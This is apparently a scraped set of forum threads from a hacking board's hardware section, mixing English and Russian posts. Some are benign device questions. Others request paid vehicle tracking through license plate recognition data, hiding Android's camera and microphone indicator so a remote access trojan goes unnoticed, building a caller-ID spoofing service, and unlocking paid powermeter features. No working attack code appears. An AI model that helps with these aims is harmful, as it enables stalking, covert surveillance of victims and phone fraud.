I need to track a specific vehicle by license plate and street camera footage, the last time I see the vehicle is on the camera. Does anyone have access to street cameras or the TLO LPR program? I will pay for the search

LPR examples below:

![www.tlo.com](/proxy.php?image=https%3A%2F%2Fwww.tlo.com%2Fvehicle- sightings%2F_jcr_content%2FteaserImage.coreimg.jpg&hash=5cdd827ee12104283f439aba21afbf86&return_error=1)

[ Vehicle Sightings and License Plate Recognition

](https://www.tlo.com/vehicle-sightings)

Nationwide Vehicle Sighting Reports and License Plate Recognition Data available with TransUnion's TLOxp solution.

![www.tlo.com](/proxy.php?image=https%3A%2F%2Fwww.tlo.com%2Fetc.clientlibs%2Ftransunion%2Fclientlibs%2Fclientlib- site%2Fresources%2Fimages%2Ffavicons%2Ffavicon.ico&hash=82483fc7ca818769dea851c8758f2b2d&return_error=1) www.tlo.com

https://risk.lexisnexis.com/-/media/files/product pages/brochure/lnrs vehicle location history 062719-nxr12458-00-0718-en-us.pdf

Hardware hacking D-Link DIR-655
ID: 676535aeb4103b69df373618
Thread ID: 69622
Created: 2022-07-04T09:53:12+0000
Last Post: 2022-07-04T09:53:12+0000
Author: blacrabbit
Prefix: WiFi
Replies: 0 Views: 226

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F606f9e1a6ce0419c4a9fc8481f30b999500cc249a6ccd26b30cbd0738283abec%2Fodolezal%2FD- Link-DIR-655&hash=490407e8b728a2ac81e3274b68e8472a&return_error=1)

[ GitHub - odolezal/D-Link-DIR-655: [EN] Hardware hacking: D-Link DIR-655

WiFI router ](https://github.com/odolezal/D-Link-DIR-655)

[EN] Hardware hacking: D-Link DIR-655 WiFI router. Contribute to odolezal/D-Link-DIR-655 development by creating an account on GitHub.

github.com github.com

Question:Bobcat Miner 300 PC Board
ID: 676535aeb4103b69df3735d6
Thread ID: 90424
Created: 2023-06-13T21:18:05+0000
Last Post: 2023-06-13T21:18:05+0000
Author: imnotexist
Replies: 0 Views: 224

My friend has a bobcat miner that uses the industrial-grade Rockchip PX30 board. The network kind of went to shit, but I'm wondering how/if it is possible to repurpose the pc board for other actions? And if so, what?

Sorry if this seems silly, I'm still learning.

Unlock EFI firmware on Macbook air 2013 possible?
ID: 676535aeb4103b69df3735ed
Thread ID: 84887
Created: 2023-03-30T20:18:52+0000
Last Post: 2023-03-30T20:18:52+0000
Author: fabiolucina
Replies: 0 Views: 221

Hello, how would you unclock EFI firmware on Macbook air 2013? Can someone help me ? I know that its old mac but i would loose a lots of datas. Thank you for any advices

Ищутся SDK для старых POS-terminal'ов
ID: 676535aeb4103b69df373610
Thread ID: 74453
Created: 2022-10-18T11:51:06+0000
Last Post: 2022-10-18T11:51:06+0000
Author: LM-68M
Replies: 0 Views: 206

Неспешно ищутся SDK и средства разработки для старых платёжных терминалов (VeriFone SC5000, Lipman Nurit и тому подобных). На практике это уже не применить, нужно исключительно ради коллекции старого банковского оборудования.

Не особо надеюсь на успех, но мало ли, вдруг у кого есть?

The B.R.E.A.C.H (BEGIN, RECON, and, ECHO, ACTIVE, CONFLICT, HARBRINGER)
ID: 676535aeb4103b69df37361b
Thread ID: 67420
Created: 2022-05-20T17:31:18+0000
Last Post: 2022-05-20T17:31:18+0000
Author: manbih2
Replies: 0 Views: 194

The B.R.E.A.C.H (BEGIN, RECON, and, ECHO, ACTIVE, CONFLICT, HARBRINGER)
kit is aiming to hand-hold you through all your pre-active enagement needs.

![github.com](/proxy.php?image=https%3A%2F%2Frepository- images.githubusercontent.com%2F487915716%2F03b4057b-f0eb-4999-b351-ccebd2d99fd3&hash=f67c623d365aeac8a373b9f76eebab36&return_error=1)

GitHub - ItsJustShepherd/BREACH: Aiming to hand-hold you through all your pre-active engagement needs | OpSec never looked so weak!

Aiming to hand-hold you through all your pre-active engagement needs | OpSec never looked so weak! - GitHub - ItsJustShepherd/BREACH: Aiming to hand-hold you through all your pre-active engagement ...

github.com github.com

Отключение уведомлений об использовании камеры и микро на 13 андроиде
ID: 676535aeb4103b69df3735d0
Thread ID: 91574
Created: 2023-06-28T12:25:52+0000
Last Post: 2023-06-28T14:12:02+0000
Author: Samurai_XMPP
Replies: 1 Views: 185

Приветствую, нужна помощь с отключением уведомлений об использовании камеры или микро (зелёная точка на 13 андроиде), условно чтобы рат не палился когда подключаемся к камере, желательно если есть возможность реализовать это удалённо, ну или на крайний случай с доступом к устройству, приветствуются любые мысли по этому поводу.

Ngeco power2max cycling Bluetooth LE powermeter
ID: 676535aeb4103b69df37363a
Thread ID: 58297
Created: 2021-10-28T18:42:16+0000
Last Post: 2021-10-28T19:46:33+0000
Author: Russhined
Replies: 1 Views: 174

Does anyone have experience of unbricking Bluetooth Stack GATT characteristics?

The power2max ngeco cycling powermeter is hardware which comes software disabled out of the box, and needs to be registered to broadcast certain premium data features. This is done via the internet and their proprietary mobile app

The unregistered the hardware broadcasts "0" zero for the premium characteristic features

The crank revolution data is enabled "1"

A blog here touches on a similar problem <https://ptx2.net/posts/unbricking- a-bike-with-a-raspberry-pi/>

I have successfully sniffed and captured the bluetooth transactions[?] and also have identified that the power meter has the following functions in the bluetooth stack[?] here is an excerpt of the data I've captured with some of the identification codes removed
------------------------------------------------------------------------
Packet capture file
------------------------------------------------------------------------
Bluetooth Attribute Protocol
Opcode: Handle Value Notification (0x1b)
0... .... = Authentication Signature: False
.0.. .... = Command: False
..01 1011 = Method: Handle Value Notification (0x1b)
Handle: 0x001f (Cycling Power: Cycling Power Measurement)
[Service UUID: Cycling Power (0x1818)]
[UUID: Cycling Power Measurement (0x2a63)]
Flags: 0x0020, Crank Revolution Data, accumulated_torque_source: Wheel Based
000. .... .... .... = Reserved: 0x0
...0 .... .... .... = Offset Compensation Indicator: False
.... 0... .... .... = Accumulated Energy: False
.... .0.. .... .... = Bottom Dead Spot Angle: False
.... ..0. .... .... = Top Dead Spot Angle: False
.... ...0 .... .... = Extreme_angles: False
.... .... 0... .... = Extreme Torque Magnitudes: False
.... .... .0.. .... = Extreme Force Magnitudes: False
.... .... ..1. .... = Crank Revolution Data: True
.... .... ...0 .... = Wheel Revolution Data: False
.... .... .... 0... = accumulated_torque_source: Wheel Based (0x0)
.... .... .... .0.. = Accumulated Torque: False
.... .... .... ..0. = Pedal Power Balance Reference: False
.... .... .... ...0 = Pedal Power Balance: False
Instantaneous Power: 0
Crank Revolution Data Cumulative Crank Revolutions: 115
Crank Revolution Data Last Crank Event Time: 48109
-------------------------------------------------------------------------
Bluetooth Stack log file
-------------------------------------------------------------------------
- Device Name [R W] (0xremoved)
- Appearance [R] (0xremoved)
- Peripheral Preferred Connection Parameters [R] (0xremoved)
Generic Attribute (0x1801)
- Service Changed _(0x2A05)
Client Characteristic Configuration (0x2902)
Battery Service (0x180F)
- Battery Level [N R] (0x2A19)
Client Characteristic Configuration (0x2902)
Device Information (0x180A)
- Manufacturer Name String [R] (0xremoved)
- Model Number String [R] (0xremoved)
- Serial Number String [R] (0xremoved)
Cycling Power (0x1818)
- Cycling Power Measurement [N] (0x2A63)
Client Characteristic Configuration (0x2902)
- Cycling Power Feature [R] (0x2A65)
- Sensor Location [R] (0x2A5D)
- Unknown Characteristic [N R] (00004558-0000-1000-8000-00805f9b34fb)
Client Characteristic Configuration (0x2902)
- Cycling Power Control Point [I W] (0x2A66)
Client Characteristic Configuration (0x2902)
Nordic UART Service (6e400001-b5a3-f393-e0a9-e50e24dcca9e)
- TX Characteristic [N] (6e400003-b5a3-f393-e0a9-e50e24dcca9e)
Client Characteristic Configuration (0x2902)
- RX Characteristic [W WNR] (6e400002-b5a3-f393-e0a9-e50e24dcca9e)
Device Firmware Update Service (00001530-1212-efde-1523-785feabcd123)
- DFU Packet [WNR] (00001532-1212-efde-1523-785feabcd123)
- DFU Control Point [N W] (00001531-1212-efde-1523-785feabcd123)
Client Characteristic Configuration (0x2902)
- DFU Version [R] (00001534-1212-efde-1523-785feabcd123)

-------------------------------------------------

I have tried 'writing' to the power meter using light blue Android app to enable the premium features without success.

I can provide more information if anyone is interested in helping me figure this out

_

Click to expand...

AOS SIP Proxy Tunneling
ID: 676535aeb4103b69df3735c7
Thread ID: 94556
Created: 2023-08-01T22:30:59+0000
Last Post: 2023-08-01T22:30:59+0000
Author: DimmuBurgor
Replies: 0 Views: 137

Can anyone provide some insight whether this is possible on Adtran? From what I can tell by the documentation, the ssh implementation seems rather limited. Does anyone know an aftermarket firmware compatible with these? I can share access if it would help. Going to check L2 and IPsec through interface config next.

Помогите спуфингу вызова
ID: 676535aeb4103b69df37353e
Thread ID: 129339
Created: 2024-12-19T21:42:27+0000
Last Post: 2024-12-19T21:42:27+0000
Author: F12
Replies: 0 Views: 64

Здравствуйте, мне нужно было бы создать службу подмены вызовов, чтобы иметь возможность звонить на нужный мне номер без необходимости использовать уже созданные услуги, такие как 12voip, я думаю, что она была вызвана, я хочу создать свою собственную службу вызовов для звонков с помощью. номер, который мне нужен, и, если возможно, я подумал о том, чтобы разместить его в Интернете, чтобы можно было легче звонить из Интернета.

Извините, я неправильно объяснил. Я хочу создать свою собственную услугу для совершения звонков, чтобы звонить с любого номера на любой номер.